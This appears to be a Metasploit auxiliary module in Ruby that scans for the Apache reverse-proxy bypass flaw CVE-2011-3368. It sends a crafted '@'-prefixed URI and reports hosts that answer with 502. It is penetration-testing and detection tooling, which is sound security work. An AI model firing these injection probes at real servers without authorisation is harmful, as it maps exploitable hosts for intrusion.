##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Apache Reverse Proxy Bypass Vulnerability Scanner',
      'Description' => %q{
        Scan for poorly configured reverse proxy servers.
        By default, this module attempts to force the server to make
        a request with an invalid domain name. Then, if the bypass
        is successful, the server will look it up and of course fail,
        then responding with a status code 502. A baseline status code
        is always established and if that baseline matches your test
        status code, the injection attempt does not occur.
        "set VERBOSE true" if you are paranoid and want to catch potential
        false negatives. Works best against Apache and mod_rewrite
      },
      'Author'      => ['chao-mu'],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'http://www.contextis.com/research/blog/reverseproxybypass/'],
          ['CVE', '2011-3368'],
        ]
    )

    register_options(
      [
        OptString.new('ESCAPE_SEQUENCE',
          [true, 'Character(s) that terminate the rewrite rule', '@']),

        OptString.new('INJECTED_URI',
          [true, 'String injected after escape sequence', '...']),

        OptInt.new('EXPECTED_RESPONSE',
          [true, 'Status code that indicates vulnerability', 502]),

        OptString.new('BASELINE_URI',
          [true, 'Requested to establish that EXPECTED_RESPONSE is not the usual response', '/']),
      ])
  end

  def make_request(host, uri, timeout=20)
    begin
      requested_at = Time.now.utc
      response     = send_request_raw({'uri' => uri}, timeout)
      responded_at = Time.now.utc
    rescue ::Rex::ConnectionError => e
      vprint_error e.to_s
      return nil
    end

    if response.nil?
      vprint_error "#{rhost}:#{rport} Request timed out"
      return nil
    end

    seconds_transpired = (responded_at - requested_at).to_f
    vprint_status "#{rhost}:#{rport} Server took #{seconds_transpired} seconds to respond to URI #{uri}"

    status_code = response.code
    vprint_status "#{rhost}:#{rport} Server responded with status code #{status_code} to URI #{uri}"

    return {
      :requested_at => requested_at,
      :responded_at => responded_at,
      :status_code  => status_code
    }
  end

  def run_host(host)
    test_status_code = datastore['EXPECTED_RESPONSE']

    baseline = make_request(host, datastore['BASELINE_URI'])
    if baseline.nil?
      return
    end

    if baseline[:status_code] == test_status_code
      vprint_error "#{rhost}:#{rport} The baseline status code for #{host} matches our test's"
      return
    end

    uri = datastore['ESCAPE_SEQUENCE'] + datastore['INJECTED_URI']
    injection_info = make_request(host, uri, 60)

    status_code = injection_info[:status_code]
    if status_code == test_status_code
      print_good "#{rhost}:#{rport} Server appears to be vulnerable!"
      report_vuln(
        :host   => host,
        :port   => rport,
        :proto  => 'tcp',
        :sname  => ssl ? 'https' : 'http',
        :name   => self.name,
        :info   => "Module #{self.fullname} obtained #{status_code} when requesting #{uri}",
        :refs   => self.references,
        :exploited_at => injection_info[:requested_at]
      )
    end
  end
end